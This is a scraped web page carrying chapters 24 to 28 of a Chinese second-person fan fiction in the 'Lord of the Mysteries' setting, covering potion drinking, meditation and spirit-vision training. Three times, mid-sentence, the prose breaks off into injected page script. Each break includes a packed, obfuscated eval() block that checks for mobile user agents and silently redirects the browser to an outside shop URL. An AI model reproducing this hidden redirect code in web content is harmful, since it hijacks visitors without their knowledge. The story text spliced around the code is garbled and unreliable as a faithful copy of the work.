() { $(''.inform'').remove(); $(''#content'').append('' /p> “我明白了,尼尔先生。” 你将镜子递还回去,深吸一口气,把眼镜折起来放在了裙子口袋,“我会努力练习冥想的。” 老尼尔赞许地点点头,然后将目光转向了克莱恩,神情重新变得严肃:“好了,佩洛西娅小姐的初步适应看来还算顺利。那么接下来,莫雷蒂先生,该你了。‘占卜家’的魔药,同样不能掉以轻心。” 你乖巧地点头,依言退到炼金室的角落,找了个看起来还算稳固的木箱坐下,努力平复着因魔药而依旧有些翻腾的灵性和轻微的眩晕感。你的目光追随着老尼尔忙碌的身影,看着他开始为克莱恩准备“占卜家”的魔药。 空气中弥漫着另一种奇异的草药和矿物混合气息,与刚才配制“怪物”魔药时截然不同。老尼尔的动作依旧娴熟、精准,带着一种仪式般的庄重。他取出另一卷古老的羊皮纸,开始称量“星水晶”、“拉瓦章鱼的血液”等材料。 你的眼睛看着,思绪却不受控制地再次飘远。 脑海中不可抑制地回放起刚才那短暂却震撼的“灵魂出窍”体验——尤其是那种高踞穹顶、俯瞰下方的视角下,所看到的关于老尼尔和克莱恩的诡异景象。 那些线条……那些缠绕在他们身影上,如同虫豸般蠕动、延伸的复杂轨迹……到底是什么? 一个名词自然而然地浮现:命运。 那是象征他们命运轨迹的线条吗?“怪物”途径的序列9,就能如此清晰地窥见他人的命运轨迹?这可能吗? 不,这绝不可能。 你的理性迅速否定了这个过于惊人的想法。如果序列9的“怪物”就能拥有如此直观、近乎“视觉化”地窥探他人命运的能力,那这条途径的非凡者早就成为各大教会、隐秘组织争相抢夺、甚至不惜一切代价也要控制起来的战略性存在了,不可能“籍籍无名”。 所以,我刚才看到的,大概率不是完整的“命运”,而是某种……更高层次存在的、基于我自身高灵感特质和魔药力量相结合后,产生的某种“变异”或“超规格”的洞察?是“怪物”魔药放大了我原本就高于常人的灵感,使得我在服食魔药、灵性与身体剧烈融合升华的关键瞬间,短暂触及到了一个寻常序列9根本不可能触及的层面? 这个猜测让你感到一丝寒意。这意味着,你的起点,或者说,你可能比普通“怪物”途径非凡者更加异常和……危险。 进而,一个更深远的问题浮现:“如果,如果这种窥探命运线条的能力,并非偶然,而是某种‘赋予’或‘引导’……那么,拥有这种能力的我,被期待去做些什么呢?” 改变他人的命运吗?这个念头让你心惊肉跳。 你想起了灰雾之上,“愚者”先生那恢弘而古老的告诫:“需遵循等价之原则。” 等价交换……这是神秘学领域最基础的法则之一。那么,窥探命运,甚至未来可能干涉命运的代价,又会是什么? 你需要付出什么?灵性的损耗?精神的污染?还是更可怕的?像那些失控的非凡者一样,付出理智、□□畸变,乃至生命的代价?或者,是某种更抽象、更残酷的代价,比如……牺牲重要的东西,或者自身命运的偏移? “怪物”途径的序列名称本身就充满了不祥的预兆。高灵感是恩赐,也是诅咒。它会让你听到不该听的,看到不该看的,从而更容易遭遇污染和失控。而窥探命运,无疑是其中最危险的行为之一。 “命运的馈赠,早已在暗中标好了价格。” 你莫名想起了这句古老的名言。你现在获得的这份看似“超纲”的能力,其背后需要支付的“价格”,恐怕远超你的想象。 你下意识地摸了摸自己那双暂时变为银白色的眼睛。 就在这时,老尼尔似乎完成了“占卜家”魔药材料的初步处理,他抬起头,恰好对上你有些失神的目光。他放下手中的器具,走到你面前,红色的眼睛里带着关切和一丝了然,仿佛看穿了你内心的波澜与隐忧。 “感觉怎么样,孩子?灵性稳定些了吗?” 他温和地问道,随即语气变得严肃而低沉,如同一位告诫晚辈的长者,“记住,你选择的这条路,‘灵感’是你的武器,也是你最大的风险。你会看到、听到、感知到很多……常人无法理解的东西。但无论如何,一定要牢牢记住‘你是谁’。用你的理性,你的意志,去驾驭这份力量,而不是被它带来的信息和感觉淹没。” 他没有说下去,但那未尽之语中的警告意味,已然清晰无比。 25. 第25章 冥想 你迎上老尼尔关切的目光,点了点头,脸上露出努力适应的表情:“嗯,我知道的,尼尔先生。就是感觉世界有点不一样了,声音、光线,还有自己的感觉,都变得更清晰,也更吵闹了。我会努力适应和控制的。” 你没有提及那些“线条”,将自己的感受概括得更笼统。 老尼尔对你的回答似乎很满意,他点了点头:“刚开始都这样,看什么都觉得刺眼。慢慢来,练习冥想是关键。” 他随即转身,将注意力完全放在了正准备服食魔药的克莱恩身上。 你顺势安静地退到一旁,目光紧紧锁定在克莱恩身上。你想知道,其他途径的序列9服食魔药时,是否也会有那种奇异的、“灵魂出窍”般的视角?还是说,那真的是“怪物”途径,或者说你自己特有的某种异常? 克莱恩显然比你更紧张,他握着那瓶呈现出深紫色、内部仿佛有星尘旋转的“占卜家”魔药,做了几次深呼吸,然后像你一样,毅然决然地将其一饮而尽。 几乎是立刻,他的身体就出现了反应。不像你最初感受到的清凉扩散,克莱恩更像是被无形的力量击中。他猛地僵直了一下,随即眼神变得空洞而呆滞,仿佛灵魂被抽离了一部分。他的身体开始出现细微的、不受控制的颤抖,额头上迅速沁出冷汗。 那种高处的视角是正常的吗?你心中疑惑更甚。克莱恩的反应明显更倾向于内在的冲击和精神的恍惚,但你肉眼不确定他是否也有那种仿佛抽离出来、从外部观察的奇异体验。 也许是你想要“看”的意愿很强烈,你似乎真的能感觉在克莱恩的头顶有隐隐一团半透明像果冻的人形轮廓附在墙上。 接着,你看到那团轮廓坠入了克莱恩的身体——他猛地一抖,仿佛承受了某种巨大的痛苦,他下意识地抬起双手,紧紧捂住了自己的头部,牙关紧咬,喉咙里发出压抑的、如同窒息般的吸气声。 你的心一下子提了起来,毕竟他看起来比你痛苦多了,你不确定是不是失控的前兆。你下意识地向前迈了半步。但老尼尔却显得镇定得多,他仔细观察着克莱恩的状态,沉声道:“感觉眼前重影、头脑里有模糊不清的、混乱的呓语都是正常的。小家伙,集中精神!像温蒂刚才做的那样,在脑海里想象一件简单的、常见的东西!抓住它!” 克莱恩的身体依旧在颤抖,但听到老尼尔的声音,他似乎在竭力对抗着脑海中的混乱与痛苦。过了大约十几秒,那剧烈的颤抖逐渐平息,他紧捂头部的双手也缓缓松开,眼神中的呆滞和痛苦在慢慢褪去,但是似乎并没有完全好转,还是有不适感。 你终于松了口气,看来最危险的阶段过去了。但紧接着,你注意到了克莱恩眼睛的变化。 ——他原本温和的褐色眼眸,此刻颜色加深了许多,变成了一种近乎纯黑的、深不见底的色泽,仿佛所有的光都被吸了进去,显得幽深而难以捉摸。 眼睛是心灵的窗户,这细微的变化,让眼前这个熟悉的人瞬间带上了一层陌生的、令人隐隐不安的气质。这是一种内在本质发生微妙偏移后带来的疏离感,但比起你照镜子时看到自己银白色的虹膜,你觉得克莱恩这种不明显的变化让你更觉得熟悉又惊悚。 “恭喜你们,两位新的非凡者。” 老尼尔 适时地拍了拍手,打破了沉默,脸上露出欣慰的笑容,“虽然只是序列9,但你们已经正式踏入了这个世界真实的、也是危险的一面。记住今天的感觉,记住掌控灵性的重要性。未来的路还长,慢慢学吧。” 他的祝贺让你和克莱恩都从各自的状态中回过神来。你们对视了一眼,从对方眼中看到了激动的心情。 你拿起之前老尼尔给你的小镜子,递了过去。克莱恩接过,道了声谢,第一反应果然也是立刻看向自己的眼睛——显然,你的“前车之鉴”给他提了醒。 看到镜中他自己那双近乎纯黑、仿佛能吸收所有光线的眼眸,克莱恩沉默了片刻,脸上没什么表情,只是轻轻呼出一口气。 老尼尔将这一切看在眼里,乐呵呵地拍了拍手,将你们的注意力吸引回来:“好啦,两位新晋的非凡者,恭喜你们迈出了第一步。不过,现在可不是放松的时候。” 他指了指你们的眼睛,“顶着这样一双‘非凡之眼’可没法正常生活。温蒂的银白色太显眼,走出去怕是要被当成什么稀罕物围观;克莱恩的深黑色虽然不那么扎眼,但仔细看也能看出异常,而且这种变化本身就可能引来不必要的注意。所以,接下来我们要学的第一课,就是 ‘收敛’ 。” 他收敛了玩笑的神色,变得严肃而专注:“刚才你们喝下魔药后,我让你们在脑海中勾勒一件简单物品来稳定灵性、对抗失控感,那其实就是冥想最基础、最应急的应用。现在,我们需要更系统地进行,目的是主动收束外溢的灵性,让身体特征恢复正常。” 他让你们各自找个舒服的姿势坐好,闭上双眼。“第一步,重复你们刚才做的。在脑海中清晰、稳定地勾勒出那个物品,感受灵性围绕着它沉淀、稳定。” 你和克莱恩依言照做。你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17193689|197109||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 再次“看见”了那枚规则的六面骰,每一个棱角、每一面凹点都清晰无比,它静静地悬浮在你意识的中央,带来一种奇异的稳定感。你能感觉到身旁克莱恩的呼吸也逐渐变得悠长平稳。 “很好,” 老尼尔的声音低沉而富有引导性,“现在,进行第二步,也是关键的一步。慢慢淡化、忘记你们正在勾勒的这个具体物品。然后,尝试去想象一个……这个世界上不存在的、纯粹由你们凭空创造出来的东西。它可以是任何形状,任何模样,但必须是现实中找不到对应物的。记住,这一步至关重要,必须严格遵守。这能帮助你们的灵性摆脱对现实事物的依赖,真正开始被你们自己的意志所塑造和收束。” 你心中一动,开始尝试。你并没有完全摒弃那枚骰子,而是在它的基础上进行“加工”。你想象骰子本身散发出柔和而稳定的银色光芒,这光芒并不刺眼。接着,无数根纤细的、仿佛由光线编织而成的银色丝线从骰子的六个面延伸出来,它们轻盈地舞动、交织…… 你的思维稍微飘忽了一下,想着这些丝线能不能用来织毛衣。这个有点无厘头的念头闪过,但似乎并未打断冥想的过程,反而让那“编织”的意象更加生动具体。你“看”着那些光之丝线如同拥有生命般自动穿梭、编织,渐渐形成一件小巧的、发着微光的银色小毛衣。 你继续“操作”,让这件小毛衣“穿”到了发光骰子的身上。骰子被包裹起来,显得更加圆润可爱。接着,你突发奇想,在骰子朝向你的一面,用更亮的光芒勾勒出了一个非常简约的线条表情:两个小圆点是眼睛,一道弯弯的弧线是嘴巴。这个“表情骰子”静静地悬浮在你的意识海中,散发着宁静而奇妙的光辉。 整个过程里,你的身体和心灵都感到一种前所未有的宁静与可控。外界的声响、魔药带来的残余晕眩、乃至那双银白色眼睛微微发热的感觉,都在这种专注的、创造性的冥想中渐渐平复、内敛。 老尼尔似乎感知到了你灵性状态的迅速稳定和收敛,略带惊讶和赞许的声音响起:“不错,温蒂,你的状态进入得很快,作为初学者很难得。看来‘怪物’途径带来的高灵感,在冥想控制上也有独特优势?继续维持,感受灵性随着你的想象而流动、收束。” 你心中微喜,但不敢分心,继续维持着对那个“穿毛衣的发光表情骰子”的观想。你能感觉到,双眼部位那种微热的、仿佛有什么东西要透体而出的感觉正在逐渐消退,灵性如同退潮的海水,缓缓回归意识的深处,变得温顺而可控。 26. 第26章 灵视 老尼尔见克莱恩也成功进入了冥想状态,周身外溢的灵性逐渐收敛,那双深黑的眸子颜色也变浅了些许,他满意地摸了摸下巴,呵呵笑道:“很好,非常好!你们两个小家伙,比我想象的更有潜力。既然如此,趁热打铁,我现在就教你们神秘学领域最常用、也最具潜力的基础能力——灵视!” 你听到老尼尔在昏暗的炼金室里走动的声音,他的脚步很轻,但在此刻安静的环境中却格外清晰。接着,是摩擦声——他打开了那扇暗门,让门外的微弱光线与炼金室内的黑暗形成一种更适合灵视练习的昏暗环境,而非全然的漆黑。 “保持现在的冥想状态,但可以微微睁开眼睛。” 老尼尔的声音在昏暗中响起,带着明确的指引,“把你们的双手抬起,放在眼前,食指伸直,相对,但不要碰到。” 你和克莱恩依言照做。你缓缓睁开眼,惊讶地发现,在如此昏暗的光线下,你竟能看清手指的轮廓,甚至墙壁上器具的模糊影子——这显然是“怪物”魔药带来的视觉增强。 老尼尔给了你们几秒钟适应这种黑暗,然后继续说道:“现在,将你们视线的焦点放在手的后方,必须是后方,接着慢慢移动手指,保持相对又不碰到的状态,也不要让手指离开你们的视线范围。” 你按照指示,将目光的焦点努力投向手指后面的虚空,同时让两根食指像两条平行游动的小鱼般,在视线范围内缓慢地、反方向地移动。一次,两次,三次…… 突然之间,在你专注凝视的虚空背景中,你那两根相对移动的食指周围,浮现出了一层淡淡的、如同月光般宁静的蓝色光晕!这光晕包裹着你的指尖,随着手指的移动而微微流动。 “我看到颜色了。” 你轻声说,语气里带着一丝新奇。 几乎就在你话音落下的同时,旁边的克莱恩也发出了惊讶的声音:“咦……我也看到了,是红色。” 老尼尔的笑声在昏暗中响起,带着欣慰:“不错,都很顺利!这就是初步的灵视,你们看到的是自己‘以太体’的气场颜色,也就是生命能量和身体状态的表现。” 趁着你们稳定这初步的灵视,老尼尔开始讲解起来:“简单来说,我们每个人的存在可以分为多个层次。最核心是‘精神体’,是灵性的根本;其外是负责与灵界、星空沟通并反映情绪意志的‘星灵体’;再外层是关乎思考、记忆的‘心智体’;而你们现在看到的,是最外层的‘以太体’,它直接映射□□的健康和生命能量状态。” 你一边听着,一边忍不住好奇心,偷偷将视线焦点从自己的手指移开,小心翼翼地瞥向身旁的克莱恩。 在你的灵视视野中,克莱恩的轮廓被一层淡淡的气场所包裹。他的头部区域笼罩着一层明亮的紫色,手脚部位则泛着活跃的红色,整个身体轮廓外,还隐约笼罩着一层相对均匀的白色光晕。这些色块交织在一起,在昏暗的光线下,形成了一种奇特的视觉形象——尤其是当他抬着手,手指微动时,更像是一只……被包裹在光茧中的、有着长长肢体的虫子。你被自己这个有点不敬的联想逗乐了,赶紧收敛心神。 老尼尔继续解释道:“……头部与脑部对应紫色,手脚运动部位对应红色,整体的白色代表一种平衡的健康状态。” 他的话印证了你的观察,让你明白克莱恩身上的颜色是正常且健康的象征。 在成功掌握基础灵视后,你与克莱恩开始好奇地观察四周。 当你将目光转向老尼尔时,确实能清晰地看到他周身的气场颜色比你们浅淡许多,特别是手脚对应的红色与整体的白色,这让你不禁提醒他要多注意健康。 老尼尔听到你对他的关心,脸上的皱纹舒展开,露出一个混合着欣慰和些许无奈的笑容。他活动了一下自己的手腕,语气轻松,却也不掩饰事实: “人老了,身体机能自然比不上你们这些朝气蓬勃的年轻人了。手脚没那么利索,气血也没那么旺了,正常的。谢谢小温蒂的关心,我会注意的。” 他显然对于灵视看到的自身状态心知肚明,并未太过在意。 就在这时,旁边的克莱恩突然发出一声低低的惊呼,声音带着一丝不易察觉的紧张:“尼尔先生!你背后……有一双眼睛!” 你心中一惊,几乎是本能地顺着克莱恩的视线望去。 就在老尼尔身后那片略显昏暗的、靠近堆放杂物的墙角虚空处,你再次看到了那双眼睛—— 趋于透明,轮廓模糊。你的目光与它直直地对上了。 在你与那双透明眼睛对视的瞬间,它便悄然消失。 “不用管它。” 老尼尔的声音适时响起,平静得令人意外,他甚至没有回头去看,“一些残留的影像,或者游荡的灵界气息,偶尔会被灵视捕捉到,尤其是你们这种灵感刚被大幅度强化的新人。呵呵,只要它没有表现出攻击性或持续的纠缠,忽略是最好的选择。过于关注,反而可能建立起不必要的联系。” 真的不用管吗?你在心里反问。这双眼睛,和你服食魔药时看到的、缠绕在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17193690|197109||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 老尼尔命运轨迹上的不祥征兆,何其相似!它真的只是无关紧要的“残留影像”吗? 一种强烈的探究欲和隐隐的不安驱使着你,你的目光紧紧锁定在老尼尔身上。因为心神激荡,你的视线略微失焦,老尼尔的身影在你眼中再次出现了重影。 就在这片刻的恍惚间,你视线中的老尼尔开始出现重影。起初你以为这是灵视的负担或自身灵性未完全稳定造成的。但你很快发现,这重叠的影像并非完全一致。 你凝聚精神,尝试去分辨这些影子之间的细微差别。你凝聚精神,仿佛在阅读一本字迹模糊的古籍,努力“聚焦”于那些重叠影像中并非完全同步的、更深层的那个“影子”。 这个念头一起,最表层的影像竟真的如你所愿,像书页一样被“掀开”,露出了更为深层的景象。 这影像比表层的他更加模糊,带着一种时光回溯般的滞涩感。 影像中的老尼尔,所处的环境并不是这间炼金室,背景里有一些挂在墙上的照片,但光线更暗,可能是夜晚。 他挽起了黑袍的袖子,露出手臂。紧接着,你“看”到他用一柄银质的小刀,动作熟练而果断地在自己苍白起皱的手臂上,划开了一道不深不浅的口子。暗红色的血液缓缓渗出,滴落在一个早已准备好的、刻画着复杂符号的银碗里。他的表情在那一刻异常平静,甚至带着一种近乎虔诚的专注,仿佛在进行一项习以为常的仪式。 这一幕让你感到一阵寒意。这显然不是普通灵视能看到的“以太体”气场或当前情绪,而是一段过去的、具体的物理行为。 这是发生尼尔先生过去的事吗?尼尔先生定期放血是为了什么?是某个隐秘仪式的需求,是为了压制什么,还是……与他身上那种不祥的、趋向失控的命运轨迹有关?你回想起服食魔药时看到的,那些缠绕在他身上的、预示不祥的线条。 “怎么了,小温蒂?是有什么不舒服吗?”老尼尔走到了你跟前关切地问道。 你意识到自己盯着他看得太久,让他起疑了。 “没……没什么。”你勉强笑了笑,移开视线,感觉自己的心脏因为刚才的“窥视”和惊悚的发现而怦怦直跳,“就是刚刚适应灵视,有点眼花。” 不知道是不是因为自己心虚的原因,你觉得老尼尔若有所思地看了你一眼。 你没来得及想更多,因为老尼尔很快开始指导你们如何设置灵视的“开关”动作,以及反复练习开启和关闭,以熟练掌控这项新能力。 27. 第27章 验证 你为自己灵视的“开关”设置了一个巧妙而隐蔽的动作——用指关节轻轻刮过右眼眶上方两次。这个动作对你这位曾经的近视者来说再自然不过,不会引起他人注意。 通过反复的心理暗示和灵性引导,将其固化为开启与关闭那层特殊视觉的“钥匙”。经过几次有些笨拙但最终成功的尝试,你终于能在意念微动间,通过这个动作相对稳定地切换“灵视”状态。 然而,频繁的练习和维持这种对“以太体”的观察,消耗是巨大的,一种熟悉的、却更加深沉的疲惫感迅速席卷了你。脑袋像是被塞进了一团浸水的棉花,又沉又胀,太阳穴一阵阵地抽痛,眼球后方也有一种酸涩的压迫感。这感觉,简直比赶数学毕业论文连续熬了几个通宵还要难受,是一种源自精神层面的枯竭。 你瞥了一眼旁边的克莱恩,发现他的脸色也苍白了几分,手指正无意识地揉着额角,显然承受着同样的负担。 老尼尔看着你们俩一副精力透支的模样,毫不意外地笑了笑,那笑容里带着过来人的了然:“感觉到脑袋发胀发痛,像被门夹过一样?这就对了,灵视的消耗主要作用于精神体。过度使用后感到疲惫、头痛甚至眩晕,都是正常现象。记住,充分的睡眠和休息是最好的恢复方式,比任何药剂都管用。冥想也能有所帮助,但第一次过度使用后,睡眠是关键。” 他挥了挥手,开始收拾炼金台上的器具,下了逐客令:“今天就到这里吧。你们俩现在最需要的是回去好好睡一觉,让灵性自然平复。至于寻找安提哥努斯家族笔记线索的任务……”他顿了顿,“下午或者晚上,等你们精神恢复了,再去那些旧货市场、古董店或者图书馆附近‘碰碰运气’也不迟。记住,安全第一,发现任何异常,第一时间汇报,不要擅自行动。” 你们向老尼尔道别。他转身走向武器库的方向,身影消失在查尼斯门后的阴影中。你和克莱恩则并肩沿着石阶向上,走向通往地面的门。 外界的光线逐渐变得明亮,但你的大脑却因过度使用灵视而昏沉沉的。然而,一个强烈的念头驱使着你——我想要知道我那种“翻阅”过去的能力,究竟是真的,还是服用魔药时的幻觉! 你趁着和克莱恩并肩而行的机会,假装不经意地揉了揉眼睛,实则再次开启了灵视,同时将目光投向他。 起初,在你的灵视视野中,克莱恩周身笼罩着健康的以太体辉光——头部明亮的紫色,手脚活跃的红色,整体均匀的白色,正如老尼尔所描述的那样,一个气血充沛的年轻人。 但你想要的不是这个。你开始尝试“虚视”,就像之前观察老尼尔时那样,刻意让目光失焦,不再聚焦于克莱恩此刻的表象,而是试图去捕捉那些重叠的、不同时间点的影像。 这一次,克莱恩的身影在你“虚视”的视野中,确实也开始呈现出一种多重影像叠加的、类似书页累积后的厚度感。但是,与老尼尔那种可以让你轻易“翻阅”的状态不同,克莱恩的整个形象,都被一层厚重、浓郁、仿佛具有实质的灰白色雾气紧紧包裹、笼罩着! 这雾气是如此深邃,如此凝实,它隔绝了一切窥探的企图。你的意识试图像“翻阅”老尼尔那样,去“掀开”属于克莱恩的“第一层”影像,但你的“意念”却如同撞上了一堵柔软却无法穿透的灰雾之墙。那厚重的雾气微微荡漾,将你的窥视之力轻而易举地化解、吸收,让你无法触及其下的任何一层信息。 可恶! 你在心里暗骂一声。无法验证!你无法通过窥视克莱恩来确认你看到的老尼尔放血景象,究竟是真实发生的过去片段,还是魔药冲击下产生的诡异幻觉! 更大的疑问随之涌上心头:克莱恩……他身边的灰雾又是什么?! 这显然不是普通的以太体辉光,也不是灵视中常见的气场颜色。它更像是一种强大的保护层,或者说,一种本质的隔绝?这灰雾给你的感觉,甚至带着一丝诡异的熟悉感,让你莫名联想到那片恢弘、古老、超越理解的灰雾之上…… 不过至少证明了我虚视他人时确实可以看见一些别的东西,只是不确定看到的是真是假,还是要验证一下。 你强行压下心中的惊涛骇浪,不动声色地关闭了灵视,揉了揉依旧发胀的太阳穴。身边的克莱恩似乎并未察觉你刚才的试探,他只是沉默地走着,大概也在抵抗精神上的疲惫和思考着新获得的力量。 你和克莱恩沿着石阶向上,刚走到通往接待厅的最后一段楼梯,一个熟悉的身影从旁边的阴影中缓步走出,正是邓恩队长。他看起来像是在这里站了一会儿,或许是在等你们,又或许刚刚在附近的武器库区域处理完事务。 “看来你们的初步适应课程结束了。” 邓恩队长灰眸扫过你们略显疲惫但眼神清亮的脸庞,嘴角微微翘起一个不易察觉的弧度,“老尼尔告诉我,你们的表现比他预想的要好,无论是冥想收束灵性,还是初步掌握灵视,都很顺利。这很不错。” 他的赞许让你们心中微微一松。但紧接着,邓恩队长的表情重新变得严肃,那惯有的、带着些许疲惫却异常锐利的目光,尤其在你脸上多停留了一瞬。 “但是,” 他的声音低沉而清晰,在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17193691|197109||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 安静的楼梯间回荡,“记住我今天,以及未来会反复告诫你们的话:好奇心会害死猫,更会害死非凡者。这个世界隐藏着太多超出凡人理解、也超出低序列非凡者承受能力的东西。不要因为获得了一点窥探真实的能力,就试图去倾听那些不该入耳的隐秘耳语,或者凝视那些不该被看见的存在。” 他特意看向你,语气加重了几分:“尤其是你,温蒂·佩洛蒙西娅小姐。‘怪物’途径赋予你远超常人的灵感,这既是天赋,也是最大的风险来源。不要因为‘看到’了什么不同寻常的东西,就克制不住地反复使用灵视去探究。很多时候,无知……或者说,懂得适时地‘闭上眼睛’,才是活下去的关键。” 你心中一凛,立刻联想到自己刚才试图“翻阅”克莱恩以及之前窥视到老尼尔秘密的举动。队长这番话,简直像是看穿了你的心思,或者至少是精准地预判了高灵感新人最容易犯的错误。你连忙低下头,乖巧地应道:“是,队长,我记住了。” 同时,彻底打消了趁着队长不注意,偷偷用那特殊视角观察他的念头——至少短期内不敢了。 邓恩队长点了点头,似乎对你们的态度还算满意。三人一起走到了上面的接待厅,罗珊正在柜台后整理文件,看到你们出来,投来好奇的一瞥。 就在你和克莱恩准备道别离开时,邓恩队长再次叫住了你:“温蒂,还有一件事。” 你停下脚步,转过身。邓恩从接待台的便签簿上随手扯下一张纸条,拿起钢笔,一边写一边说道:“你选择的‘怪物’途径,其序列知识和后续的探索,并非黑夜教会的强项。这条途径,或者说它所属的‘命运之轮’途径,与生命学派有更深的渊源。这是一个相对松散、立场基本中立的隐秘组织,主要依靠师徒关系进行传承。在‘怪物’乃至其后续序列的理解和应用上,他们可能比圣堂的资料库掌握更多细节。” 他将写好的纸条递给你。你接过来一看,上面是一个地址:弗拉德街18号,罗森的民俗草药店。 “今天下午好好休息,恢复灵性。之后,如果你感觉状态稳定,并且有兴趣深入了解你的途径,” 邓恩指了指你手中的纸条,“可以去这个地方拜访一下。报上我的名字,或者直接说明你是新晋的‘怪物’途径非凡者,店主‘罗森’会知道该怎么做。当然,这并非强制任务,去不去、何时去,由你自己决定。记住,保持警惕,谨慎交流。” 你小心地将纸条折好,放入口袋,认真回答:“我明白了,队长。谢谢您的告知。” 你确认队长没有其他指示后,走出了黑荆棘安保公司。 28. 第 28 章 绅士 走出黑荆棘安保公司那略显沉闷的大门,午后的阳光带着些许暖意洒在佐特兰街上。 你揉了揉依旧有些胀痛的太阳穴,正准备独自踏上回铁十字街的路,却意外地发现克莱恩并没有立刻离开,而是站在门廊的阴影处,似乎是在等你。 “克莱恩?” 你有些意外,毕竟你知道他已经搬去了水仙花街,和你的方向并不顺路,“还有什么事吗?” 克莱恩转过身,脸上带着那种惯有的、略显拘谨但足够礼貌的表情:“没什么特别的事。只是觉得,让一位女士在刚刚经历……嗯,消耗这么大的训练后独自走回家,似乎不是一个绅士该有的行为。” 他顿了顿,补充道,“而且,我们顺路一段。” 你知道这“顺路一段”颇为勉强,水仙花街和铁十字街方向并不一致。但他既然这么说,而你也确实有几个问题想试探一下,便没有拒绝,点了点头:“那就麻烦你了。” 两人并肩走在廷根午后略显慵懒的街道上。沉默了片刻,你决定从最直接、也最安全的话题切入。你推了推眼镜,状似随意地问道:“克莱恩,刚才在炼金室里,你看到的老尼尔背后的那双眼睛,是不是没有睫毛,轮廓很模糊,几乎趋于透明的那种?” 克莱恩的脚步微不可察地顿了一下,他侧过头看向你,褐色的眼眸里闪过一丝清晰的讶异和探究。他点了点头,声音压低了些:“是的,就是那样。温蒂,你知道那是什么吗?” 话一出口,他似乎意识到问一个同样是新人的你这个问题有些突兀,随即改口道,“我的意思是,你作为‘命运’途径,灵感很高,是不是对那种东西……有什么特别的预感?” “预感吗?” 你沉吟着,没有立刻回答。他果然记得你是灵感超高的“怪物”途径,并且对这种涉及“异常感知”的事情很在意。你斟酌着用词,“我也不确定那具体是什么。老尼尔说是残留影像或灵界气息,建议忽略。但我总觉得……” 你摇了摇头,没有把“不祥”两个字说出口,只是道,“觉得那不像是什么好东西,老尼尔也不是很希望我们去太过关注。” 当然,你说的只是老尼尔不希望你关注,又不代表你要听老尼尔的,也不代表老尼尔就是对的。 不过比起那个诡异的眼睛,你其实更想问他关于那层灰雾的事——那笼罩着他、让你无法“翻阅”的厚重灰雾到底是什么?但话到嘴边,却不知如何问起。 难道直接说“我试着用特殊能力窥探你的过去,但被一层灰雾挡住了”?这无疑会暴露你自身能力的异常,也会立刻引发对方的警惕甚至反感。你感觉,即便问了,他大概率也不会告诉你,甚至可能因此对你产生更深的防备。 于是,对话陷入了短暂的停滞。你们转而聊起了一些无关紧要的话题——对灵视的新奇感受,脑袋的胀痛,廷根近日的天气,还有对下午可能需要进行的“寻找笔记线索”工作的猜测。气氛不算热络,但至少缓解了沉默的尴尬。 不知不觉,已经走到了铁十字街下街你那栋熟悉的公寓楼下。 就在你准备再次道别时,你看着克莱恩那双依旧带着些许疲惫却保持警惕的眼睛,突然意识到了一个可能。 他绕路送你回来,或许不仅仅是因为“绅士风度”。他可能也是觉得你现在和他一样是灵感高于常人的新人非凡者,并且刚刚经历了精神消耗。他是担心,担心你在这种状态下一旦遇到什么不干净的东西或意外状况,可能会应对不来。 这个认知让你心中微微一暖。在这个危机四伏的新世界里,这份来自朋友的、未曾言明的关心显得格外珍贵。 你停下脚步,转过身,非常真诚地看向他,开口道:“克莱恩,谢谢你送我回来。” 你的语气比之前任何一次交流都更直接,“我知道这并不完全顺路。谢谢你的关心。你也消耗很大,回去一定好好休息。” 你犹豫了一下,还是补充道:“关于老尼尔背后的那双眼睛……如果我以后在值夜者的资料里,或者因为途径的关系察觉到什么相关的信息,我会告诉你的。有什么别的问题,我们也可以多多交流。” 克莱恩似乎没料到你会说得如此坦诚和直白,毕竟这种表达在鲁恩不够含蓄。 他愣了一下,随即,脸上那层惯有的、略带疏离的礼貌表情缓和了许多。他轻轻摆了摆手,嘴角勾起一个很浅的、却显得真实了些的弧度:“不用客气,温蒂。你也注意休息。至于那个眼睛的事……有消息互通一下也好。那么,再见。” 他没有再多说什么,对你点了点头,便转身走向街口,很快拦住一辆路过的公共马车,身影消失在车厢里。 你站在原地,看着马车驶远,直到消失在街角。疲惫感再次涌上。 这下是真的需要好好睡一觉了,真的好困啊…… 你几乎是拖着沉重的脚步挪回家,向母亲简单交代了一句“太累了,需要补觉,下午三点左右麻烦叫醒我”,便一头扎进了自己狭小却熟悉的房间,衣服都没换,直接倒在了床上。 极度的精神消耗和魔药带来的深层适应,让你的身体发出了最强烈的休息信号。几乎是脑袋沾到枕头的一瞬间,意识就沉入了无梦的、近乎昏迷的深眠。 